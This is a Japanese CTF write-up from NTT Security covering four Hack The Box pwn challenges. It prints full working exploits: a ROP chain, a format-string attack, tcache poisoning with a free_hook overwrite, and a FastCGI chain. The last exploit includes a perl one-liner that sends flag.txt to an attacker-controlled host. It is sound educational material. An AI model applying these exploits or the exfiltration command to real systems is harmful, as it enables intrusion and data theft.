NTT Security Japan

お問い合わせ

HTB Business CTF (Global Cyber Skills Benchmark CTF 2025) Writeup pwn編

テクニカルブログ

HTB Business CTF (Global Cyber Skills Benchmark CTF 2025) Writeup pwn編
By NTT Security

Published June 6, 2025 |

はじめに

プロフェッショナルサービス部の鈴木です。先日開催されたHack the Box Business CTFにチームOneNTTの一員として参加したので、解いた問題の技術的な解説をしようと思います。

問題ファイルは 公式Writeup からダウンロードすることができます。

Power Greed

問題のプログラムは簡単なコンソールのアプリケーションになっていました。解析していくとバッファオーバーフローが見つかります。

以下に示した通り、静的リンクされていて、PIEではない(アドレス固定)なため、ROPを使ってシステムコールを呼び出します。

$ file power_greed
power_greed: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=0b1f10b9e9720538e9c4a290c03cb9fe87a03401, for GNU/Linux 3.2.0, not stripped
$ checksec --file=power_greed
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          N/A        N/A          2065 Symbols    N/A     0               0               power_greed

完成したエクスプロイトを以下に示します。

#!/usr/bin/env python3


from pwn import *


def main():
    pop_rdi_rbp = 0x402bd8
    pop_rsi_rbp = 0x40c002
    pop_rdx_leave = 0x4685a3
    pop_rax = 0x42adaa
    syscall = 0x412e96
    binsh = 0x481778
    pop_rdx_write_to_rax = 0x426373
    free_space = 0x00000000004af000 - 0x100
    ret = 0x40101a
    pop_rdx_retn_6 = 0x418eba
    pop_rdx_or_al_0x5b_pop_r12_rbp = 0x47d564

    payload = b''
    payload += b'A' * 0x28
    payload += p64(ret)
    payload += p64(ret)
    payload += p64(pop_rdi_rbp)
    payload += p64(binsh)
    payload += p64(0)
    payload += p64(pop_rsi_rbp)
    payload += p64(0)
    payload += p64(0)
    payload += p64(pop_rdx_or_al_0x5b_pop_r12_rbp)
    payload += p64(0)
    payload += p64(0)
    payload += p64(0)
    payload += p64(pop_rax)
    payload += p64(59)
    payload += p64(syscall)

    assert len(payload) <= 174

    io = process(['./power_greed'])
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'(y/n): ', b'y')
    io.sendafter(b'buffer: ', payload)
    io.interactive()


if __name__ == '__main__':
    main()

LiteServe

問題のプログラムはCで書かれたHTTPサーバになっていました。Webブラウザでアクセスすると以下のようなWebページが表示されます。

配布されたファイルを確認すると以下のようなディレクトリ構成になっていました。先ほどのWebページは index.html の内容であると考えられます。

$ ls -R pwn_liteserve/
pwn_liteserve/:
build-docker.sh  challenge  Dockerfile

pwn_liteserve/challenge:
bad_request.html  flag.txt  index.html  not_found.html  server

フラグも同じディレクトリにあるため、試しに /flag.txt にアクセスしてみましたが、以下のようなページが返ってきて、フラグを直接見ることはできないようになっていました。

対象のプログラムをGhidraで解析していくと、以下のようにいくつかのチェックを通って、最終的に build_http_response という関数で対象のファイルを読みだして、レスポンスを返すという構造になっていました。

先ほどの flag.txt がなぜ読めなかったかというと、ファイルの拡張子をチェックする get_file_extension という関数で引っかかっていました。 .txt は対応する拡張子として実装されていますが、 PRIV_MODE というグローバル変数がセットされていないと許可されない仕組みになっていました。

解析を進めていくと、以下に示したバッファオーバーフローバグが見つかりました。リクエストからMIMEタイプを取り出す関数で、不明なMIMEタイプが指定されているとリクエストからmemcpyで取り出すようになっています。このmemcpyに問題があって、書き込み先の構造体ではMIMEタイプを保存するバッファは32バイトなのに対し、 memcpyで36バイト書き込むようになっています。このバグを使えばMIMEタイプを保存するバッファのとなりにあるdebugフラグに書き込むことができます。

さらに解析を進めていくと、下図のハイライトした部分に書式文字列バグが見つかりました。printfの第一引数に変数を渡していて、この変数はリクエストに書かれていたデータが入るので、リクエストに入れるデータを工夫すれば書式文字列バグを使うことができます。

ここにたどり着くにはdebugフラグがオンになっていて、なおかつUser-Agentヘッダにcurlから始まる文字列を指定する必要があります。

書式文字列バグの一般的な使い道としては、アドレスのリークや関数ポインタの書き換えなどですが、今回はフラグを読めるようになれば十分なので、PRIV_MODE変数を書き換えることにします。

エクスプロイトの方針を整理すると以下のようになります。

  1. MIMEタイプのバッファオーバーフローを使ってdebugフラグをセットする
  2. 書式文字列バグを使ってPRIV_MODEに”ON”を書き込む
  3. flag.txtをGETリクエストで読む

完成したエクスプロイトコードを以下に示します。

#!/usr/bin/env python3


from pwn import *
import argparse


binary_file = './server'
libc_file   = './libc.so.6'


binary = ELF(binary_file)
libc   = ELF(libc_file)


context.arch = 'amd64'
context.os   = 'linux'


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host')
    parser.add_argument('port')
    args = parser.parse_args()

    io = remote(args.host, args.port)

    priv_mode = 0x405169

    extension = 'A' * 0x21
    path = '/file.' + extension
    method = 'GET'
    version = 'HTTP/1.1'
    assert len(method) <= 15
    assert len(path) <= 127
    assert len(version) <= 15
    request_line = f'{method} {path} {version}\r\n'

    payload = b''
    payload += request_line.encode()

    head_idx = 8
    fmt_len = 0x18
    goal_val = u16(b'ON')
    fmt = f'%{goal_val-4}c%{head_idx + fmt_len//8}$n'.ljust(fmt_len, 'A').encode()
    payload += b'User-Agent: curl' + fmt + p64(priv_mode)[:3] + b'\r\n\r\n'

    assert len(payload) <= 1000000

    io.send(payload)
    data = io.recv()

    r = requests.get(f'http://{args.host}:{args.port}/flag.txt')
    print(r.text)

if __name__ == '__main__':
    main()

Cyber Bankrupt

この問題はヒープをテーマにした問題になっています。main関数をデコンパイルしたコードを以下に示します。

バグはfreeを呼ぶ関数にあります。freeを読んだ後にポインタを消していないので、freeした後に中身を見たり、再度freeを呼ぶことが可能です。

配布されたglibcのバージョンをチェックすると、2.27が使われていました。glibc-2.27はtcacheが導入されていますが、tcacheにdouble freeのチェックなどの防御機構が一切入っていないバージョンです。そのため、同じ領域を続けて2回freeしてもエラーになりません

$ strings libc.so.6 | grep -i glibc
...
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
...

ここまでの条件であれば、簡単にRCEまで持って行けそうですが、main関数にfor文が入っていて、各機能を呼び出せる回数が全部で14回までに制限されており、mallocやfreeを呼ぶ回数をできるだけ少なくする必要があります。

また、check_id関数により、0以外のインデックスは指定できないため、一つのポインタだけでやりくりする必要があります。

だいたいの基本方針は以下のようになります。

1. unsorted binにつながるチャンクを作り、libcのアドレスをリークする

2. tcacheのリストを書き換えて、mallocでfree_hookのアドレスを返す

3. free_hookにsystemのアドレスを書き込み、”/bin/sh”が書かれた領域をfreeしてsystem(”/bin/sh”)を呼び出す

回数制限があることを考えると、できるだけmallocやfreeを呼び出す回数を減らす工夫が必要です。そこで、tcacheの管理構造体を直接書き換えることを考えます。tcacheの管理構造体はヒープの先頭に置かれるので、ヒープのアドレスがわかればtcache poisoningを使ってtcache管理構造体をmallocで返すことが可能です。

また、1つしかポインタを保持できないので、unsorted binにつながるチャンクとtopの間にconsolidationを防ぐチャンクを置くことが難しく、ここも工夫が必要なポイントです。ここに対してはtcacheを使ってチャンクの途中のアドレスを返すことで、偽のサイズを持ったチャンクをfreeすることで何とかします。

最終的な流れは以下のようになります。

1. double freeしてからチャンクの中身を見てヒープのアドレスをリークする

2. tcache poisoningを使って、mallocでtcacheの管理用の構造体を返す

3. tcache管理構造体を書き換え、unsorted binにつなぐ偽チャンク(A)ともう一度tcache管理構造体を使うためのポインタ(B)をセットする (偽チャンクのサイズもこの時ついでに書く)

4. Aをmalloc, freeしてlibcのアドレスをリークする

5. Bを使ってもう一度tcache管理構造体を書き換え、free_hook付近のアドレスをtcacheにセットする

6. free_hookにsystemを書き込み、”/bin/sh”を書き込んだチャンクをfreeする

#!/usr/bin/env python3


from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse


binary_file = './cyber_bankrupt'
libc_file   = 'glibc/libc.so.6'


binary = ELF(binary_file)
libc   = ELF(libc_file)


context.arch = 'amd64'
context.os   = 'linux'


def u64x(data):
    return u64(data.ljust(8, b'\0'))


def malloc(io, idx, size, data=b'\0'):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'ID: ', str(idx).encode())
    io.sendlineafter(b'transfer: ', str(size).encode())
    io.sendafter(b'receiver: ', data)


def free(io, idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'ID: ', str(idx).encode())


def view(io, idx):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'ID: ', str(idx).encode())
    result = io.recvuntil(b'\n')[:-1]
    return result


def main():
    io = process('docker run -i htb2025-bank'.split(' '))

    small_size = 0x408
    large_size = 0x418
    mid_size = 0x38
    io.sendlineafter(b'pin: ', b'6969')
    mini1 = 0x18
    mini2 = 0x28

    first = 0
    malloc(io, first, small_size, p64(0) * 2 + p64(0x21) * (0x1e8 // 8) + p8(0x21))
    free(io, first)
    free(io, first)
    free(io, first)
    heap_leak = u64x(view(io, first))
    print(f'heap_leak = {hex(heap_leak)}')
    heap_base_sample = 0x000055557157a000
    heap_leak_sample = 0x55557157a260
    heap_base = heap_leak - heap_leak_sample + heap_base_sample
    print(f'heap_base = {hex(heap_base)}')
    malloc(io, first, small_size, p64(heap_base + 0x10))
    malloc(io, first, small_size)
    malloc(io, first, small_size, p8(7) * 8 + p64(0x421) + p8(0) * 48 + p64(heap_base + 0x20) + p64(heap_base + 0x50))

    malloc(io, first, 0x18)
    free(io, first)
    libc_leak = u64x(view(io, first))
    print(f'libc_leak = {hex(libc_leak)}')
    libc_base_sample = 0x7afac4c00000
    libc_leak_sample = 0x7afac4febca0
    libc_base = libc_leak - libc_leak_sample + libc_base_sample
    print(f'libc_base = {hex(libc_base)}')
    assert libc_base % 0x1000 == 0

    libc_free_hook = libc_base + libc.symbols['__free_hook']
    libc_system = libc_base + libc.symbols['system']
    libc_malloc_hook = libc_base + libc.symbols['__malloc_hook']

    libc_one_gadget = libc_base + 0x4f322
    print(f'libc_free_hook = {hex(libc_free_hook)}')
    print(f'libc_system = {hex(libc_system)}')

    malloc(io, first, 0x28, p64(0) + p64(0) + p64(libc_free_hook-0x30))
    malloc(io, first, 0x38, b'/bin/sh\0' + p64(0) * 5 + p64(libc_system)[:-2])
    free(io, first)

    io.interactive()


if __name__ == '__main__':
    main()

あとから公式Writeupを見て気が付いたのですが、古いglibcではmallocするときにtcacheのカウンタをチェックしない実装になっています。

これを利用すれば、全く違う手順で問題を解くことが可能です。気になる方は公式Writeupもチェックしてみてください。

business-ctf-2025/pwn/Cyber Bankrupt/htb/solver.py at master · hackthebox/business-ctf-2025

NeonCGI

概要

配布されたファイルからDockerコンテナを作成してブラウザからアクセスすると以下のようなページが表示されます。

配布されたファイルの構成は以下のようになっていました。

$ ls -R
.:
Dockerfile  favicon.svg  flag.txt  libc  lighttpd.conf  neon  static

./libc:
ld-linux-x86-64.so.2  libc.so.6  libfcgi.so.0.0.0

./static:
favicon.ico  style.css

問題ファイルはCで書かれたCGIアプリケーションのようです。

$ file neon
neon: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./libc/ld-linux-x86-64.so.2, BuildID[sha1]=54de4afb54f2145f5701d2572b020742bc83e4fd, for GNU/Linux 3.2.0, not stripped
FROM ubuntu:24.04

RUN apt update && \
    apt install -y lighttpd spawn-fcgi libfcgi-dev && \
    rm -rf /var/lib/apt/lists/*

COPY flag.txt /flag.txt

COPY neon /neon
COPY libc /libc

RUN mkdir -p /tmp/neon

COPY lighttpd.conf /etc/lighttpd/lighttpd.conf
COPY static /var/www/html/static

RUN cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32 > /tmp/neon/password.txt
RUN chown www-data:www-data /tmp/neon /tmp/neon/password.txt /var/www/html/static/*
RUN chmod 644 /tmp/neon/password.txt /flag.txt

EXPOSE 1337

CMD ["lighttpd","-D","-f","/etc/lighttpd/lighttpd.conf"]

ログイン

ログイン用の関数を調べると以下のような処理になっていました。POSTしたデータとグローバル変数のパスワードを比較しています。注目するべきところは、入力データの長さでstrncmpを使っているところで、入力データの長さ分しかチェックされないので、パスワードの最初の1バイトだけわかればログインできそうです。

したがって、以下のように1バイト目だけbrute forceすればログインできます。

import requests
import string


def main(host, port):
    base_url = f'http://{host}:{port}'
    session = requests.Session()

    for candidate in string.digits + string.ascii_letters:
        r = session.post(base_url + '/login', data={'password': candidate})
        if 'Invalid' not in r.text:
            break

機能

ログインすると、ログを送信する機能が使えるようになります。過去に送ったログはレスポンスに含まれるようになっています。(一応XSSできますが、今回の主題とは関係ありません。)

送ったログはグローバル変数領域に格納されるようです。

ログを保存する関数をIDAで見てみます。

このコードを見ていくと次のようなことがわかります。

  • 一度に書き込める長さはタイムスタンプも含めて0x3ffバイトまで
  • 書き込む前に0x8000バイト以上バッファが進んでいたら、バッファを最初の位置に戻す
  • 書き込み後のバッファの位置がぴったり0x7fffになる場合は、書き込む前にバッファを最初の位置に戻す (おそらくここがバグで、本来は書き込み後のバッファが0x7fff以上ならバッファを戻すべきだと思われる)

関数テーブル

バッファオーバーフローしそうな雰囲気があるので、はみ出した先に重要データがないかを調べます。ログを格納している位置から+0x8000の位置を見てみると、関数のアドレスがいくつか書かれているのが見つかります。

これはmain関数の最初のほうで作られている関数テーブルだと思われます。

この関数テーブルはリクエストが送られてきたときに、リクエストに書かれたパスに対応した関数ポインタが呼び出されるようです。

バイナリアドレスのリーク

バッファオーバーフローによって関数ポインタの書き換えができそうですが、ASLRによって絶対アドレスがわからなくなっているため、まずはアドレスのリークを試みます。

ログを出力しているのは以下の関数です。ログはFCGI_printfという関数によって文字列として読まれるので、ログを関数ポインタまで伸ばせば、ログと一緒に関数ポインタの値も出力されると思われます。

実際にコードで表すと以下のようになります。

padding_len = 0x18
    msg_len = 0x200
    max_log_len = 0x8000

    # fill the buffer
    msg = 'a' * (msg_len - padding_len)
    for i in range(max_log_len // msg_len):
        r = session.post(base_url + '/submit', data={'message': msg})
    msg = b'b' * (0x40 - padding_len) + b'->'
    r = session.post(base_url + '/submit', data={'message': msg})

    # reset the offset and leak the pointer
    msg = 'c'
    r = session.post(base_url + '/submit', data={'message': msg})
    print(r.text)
    data = r.content
    begin = data.index(b'->') + 2
    end = data.index(b'</pre>')
    leak_data = data[begin:end]
    print(leak_data)
    bin_leak = struct.unpack('<Q', leak_data.ljust(8, b'\0'))[0]
    print(f'bin_leak = {hex(bin_leak)}')
    bin_base_sample = 0x5ebd30e12000
    bin_leak_sample = 0x5ebd30e13fc4
    bin_base = bin_leak - bin_leak_sample + bin_base_sample
    print(f'bin_base = {hex(bin_base)}')

実際に実行すると以下のようになります。

デバッガで確認すると、確かにバイナリのベースアドレスをリークできています。

libcアドレスのリーク

次は関数ポインタを何に書き換えるかを考えます。バイナリ本体のコードや直接呼び出している関数の範囲では、シェルを取ったり、スタックピボットするのは厳しそうなので、printfのような関数に書き換えてlibcのアドレスをリークさせることを考えます。

バイナリから直接呼び出している関数にFCGI_printfという関数があり、これが使えそうです。”/login” に対応する関数ポインタをFCGI_printfに書き換えて”/login%p”にアクセスすると、FCGI_printfを呼び出せていることがわかります。(下図の右下部分)

“/login”に余計な文字列があっても到達できるのは、下図のstrncmpでstrncmp(input_path, “/login”, strlen(”/login”))のように、登録されたパスより後ろの部分は比較されないためです。

これで、FCGI_printf(”/login%p”)のようにほぼ任意のフォーマット文字列を渡せるので、自由にアドレスリークできそうに見えます。しかし、実際に返ってくるレスポンスは下図のようなInternal Server Errorで、FCGI_printfに渡した内容は一切入っていません。

もともと登録されている関数ポインタの処理を見比べてみると、関数ポインタ内で呼ばれるFCGI_printfでHTTPレスポンスのヘッダーとボディを書いていると推測できます。

先ほどのFCGI_printf(”/login%p”)を呼び出した部分で、FCGI_printfに入れる文字列をデバッガで書き換えていろいろ試したところ、FCGI_printfでヘッダーの終わりを表す”\r\n\r\n”を出力していること、ヘッダーを出力するときはコロンを入れることがエラーを回避する条件のようです。

この時のレスポンスのボディは空でしたがヘッダーは下図のようになっていました。FCGI_printfで出力した内容がヘッダーとして返ってきていることがわかります。

条件を満たせば、FCGI_printfでアドレスをリークできそうなことがわかったので、次はどうやってこのような入力を実際のHTTPリクエストで再現するかを考えます。

コロンをパスに含めることはできすが、”\r\n\r\n”をパスに含めるとHTTPリクエストとして無効になってしまうため、”\r\n\r\n”を直接パスに含めることはできません。

そこで、”\r\n\r\n”をフォーマット文字列を使って出力できないかを考えます。まずはFCGI_printfで有効なフォーマットを調べました。いろいろ試したところ、”%n”は使えましたが、”%7$p”のような引数の番号を指定するフォーマットはFCGI_printfでは使えないようです。

次にスタックの状態を見て、使えそうな変数がないかを探します。FCGI_printfを実行するときのスタックの状態を下図に示します。印をつけた部分に注目すると、libcのアドレスと2つの書き込み可能なアドレスが連続しています。

あらかじめ書き込み可能な2つのアドレスに”%n”を使ってそれぞれ”\r\n”をセットしておき、”%c%c…%c:%p%s%s”のような文字列を送れば、libcのアドレスをリークしつつ、”\r\n\r\n”を出力させることができそうです。(”\r\n\r\n”を一つのポインタに書くと”%n”の前に出力する文字数が多すぎて失敗するので2つのポインタに分けています。)

以下のようなコードで”\r\n”を2つ作って、libcのアドレスをリークできます。

target_idx = 23
    u16_crlf = 0x0a0d

    # prepare "\r\n"
    padding = 'A' * (u16_crlf - 6 - (target_idx) + 3) + '%c' * (target_idx)
    payload = padding + f'%n'
    print(payload)
    r = session.post(base_url + '/login' + payload)
    print(r.text)

    # prepare another "\r\n"
    padding = 'A' * (u16_crlf - 6 - (target_idx+1) + 3) + '%c' * (target_idx+1)
    payload = padding + f'%n'
    print(payload)
    r = session.post(base_url + '/login' + payload)
    print(r.text)
    
    # leak libc address
    padding = '%d' * (target_idx-1)
    payload = padding + ':%p%s%s' # "%s%s" will get "\r\n\r\n"
    r = session.post(base_url + '/login' + payload)
    print(r.text)
    print(r.headers)
    libc_leak = 0
    for val in r.headers.values():
        if val.startswith('0x'):
            libc_leak = int(val, 16)
            break
    print(f'libc_leak = {hex(libc_leak)}')
    libc_base_sample = 0x7085b710f000
    libc_leak_sample = 0x7085b71391ca
    libc_base = libc_leak - libc_leak_sample + libc_base_sample
    print(f'libc_base = {hex(libc_base)}')

このコードを実際に実行すると、メモリ上に”\r\n”が書き込まれて、”%p”を入れたリクエストの結果が返ってくるようになります。

systemの実行

libcのアドレスがわかったので、次は関数ポインタをsystem関数のアドレスに書き換えます。以下のコードで”/”に対応する関数ポインタをsystemに書き換えられます。

  # root_func -> system
    msg = 'f' * (msg_len - padding_len)
    for i in range(max_log_len // msg_len):
        r = session.post(base_url + '/submit', data={'message': msg})
    msg = b'b' * (0xa2 - padding_len) + p64(libc_base + libc.symbols['system'])
    r = session.post(base_url + '/submit', data={'message': msg})

あとは”/”の後にシェルを取るコマンドをいれて、HTTPリクエストを送ればよいのですが、標準入出力がクライアント側とつながっていないため、system(”/bin/sh”)を実行しても、サーバ側でシェルが立ち上がるだけで、クライアント側から操作することができません。

こういう場合はAWSなどでグローバルIPを持ったサーバを用意して、そこにリバースシェルを張ることを考えます。いろいろ試した結果、最終的にperlでフラグファイルを開いて自分のサーバに送らせることにしました。サーバはGCPのEC2で用意しました。

まとめ

全体の流れをまとめると以下のようになります。

1. パスワードの1バイト目をbrute forceしてログイン

2. ログのバッファを埋めてバイナリのアドレスをリークする

3. “/login”に対応する関数ポインタをFCGI_printfに書き換える

4. “%n”を使ってスタック上のポインタが指すメモリに”\r\n\r\n”を書き込む

5. “%p”を使ってスタックに書かれているlibcのアドレスをリークする

6. “/”に対応する関数ポインタをsystemに書き換える

7. system関数を使ってフラグを自分のサーバに送信させる

最終的に完成したエクスプロイトはこちらです。

#!/usr/bin/env python3


import requests
import string
import struct
from pwn import *


LHOST = '172.17.0.1'
LPORT = 12345


def main(rhost, rport):
    libc = ELF('libc/libc.so.6')
    base_url = f'http://{rhost}:{rport}'
    session = requests.Session()

    # login
    for candidate in string.ascii_letters + string.digits:
        r = session.post(base_url + '/login', data={'password': candidate})
        if 'Invalid' not in r.text:
            break

    padding_len = 0x18
    msg_len = 0x200
    max_log_len = 0x8000

    # fill the buffer
    msg = 'a' * (msg_len - padding_len)
    for i in range(max_log_len // msg_len):
        r = session.post(base_url + '/submit', data={'message': msg})
    msg = b'b' * (0x40 - padding_len) + b'->'
    r = session.post(base_url + '/submit', data={'message': msg})

    # reset the offset and leak the pointer
    msg = 'c'
    r = session.post(base_url + '/submit', data={'message': msg})
    print(r.text)
    data = r.content
    begin = data.index(b'->') + 2
    end = data.index(b'</pre>')
    leak_data = data[begin:end]
    print(leak_data)
    bin_leak = struct.unpack('<Q', leak_data.ljust(8, b'\0'))[0]
    print(f'bin_leak = {hex(bin_leak)}')
    bin_base_sample = 0x5ebd30e12000
    bin_leak_sample = 0x5ebd30e13fc4
    bin_base = bin_leak - bin_leak_sample + bin_base_sample
    print(f'bin_base = {hex(bin_base)}')

    # login_func -> FCGI_printf
    msg = 'a' * (msg_len - padding_len)
    for i in range(max_log_len // msg_len):
        r = session.post(base_url + '/submit', data={'message': msg})
    msg = b'b' * (0x2a - padding_len) + p64(bin_base + 0x1340) # FCGI_printf@plt
    r = session.post(base_url + '/submit', data={'message': msg})

    target_idx = 23
    u16_crlf = 0x0a0d

    # prepare "\r\n"
    padding = 'A' * (u16_crlf - 6 - (target_idx) + 3) + '%c' * (target_idx)
    payload = padding + f'%n'
    print(payload)
    r = session.post(base_url + '/login' + payload)
    print(r.text)

    # prepare another "\r\n"
    padding = 'A' * (u16_crlf - 6 - (target_idx+1) + 3) + '%c' * (target_idx+1)
    payload = padding + f'%n'
    print(payload)
    r = session.post(base_url + '/login' + payload)
    print(r.text)

    # leak libc address
    padding = '%d' * (target_idx-1)
    payload = padding + ':%p%s%s' # "%s%s" will get "\r\n\r\n"
    r = session.post(base_url + '/login' + payload)
    print(r.text)
    print(r.headers)
    libc_leak = 0
    for val in r.headers.values():
        if val.startswith('0x'):
            libc_leak = int(val, 16)
            break
    print(f'libc_leak = {hex(libc_leak)}')
    libc_base_sample = 0x7085b710f000
    libc_leak_sample = 0x7085b71391ca
    libc_base = libc_leak - libc_leak_sample + libc_base_sample
    print(f'libc_base = {hex(libc_base)}')

    # root_func -> system
    msg = 'f' * (msg_len - padding_len)
    for i in range(max_log_len // msg_len):
        r = session.post(base_url + '/submit', data={'message': msg})
    msg = b'b' * (0xa2 - padding_len) + p64(libc_base + libc.symbols['system'])
    r = session.post(base_url + '/submit', data={'message': msg})

    flag_sender = f"""perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new(PeerAddr=>"{LHOST}",PeerPort=>{LPORT},Proto=>"tcp")or die$!;open(F,"<","flag.txt")or die$!;print $s $_ while <F>'"""
    r = session.post(base_url + f'/$({flag_sender})')
    print(r.text)
    print(r.headers)


if __name__ == '__main__':
    main('172.17.0.2', 1337)

実際にこのスクリプトを実行して、ncで待ち受けているとフラグが取れます。

ちなみにこの問題は全チーム中私が1番最初に解けました。 (画像内の時刻はJSTです。)

おわりに

今回は先日開催されたHack the Box Business CTFの問題解説をしました。個人的には難しめの問題で初めてFirst Solveをとれたのがうれしかったです。pwn 分野の一位も狙っていたのですが、体力の限界が来て途中で力尽きてしまいました。

今回のCTFではチームとしてもたぶん過去最高成績だったので、頑張れば結構やれるということをチームの内外に示せたんじゃないかなと思います。次回はTop 10に入れるように精進したいと思います。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。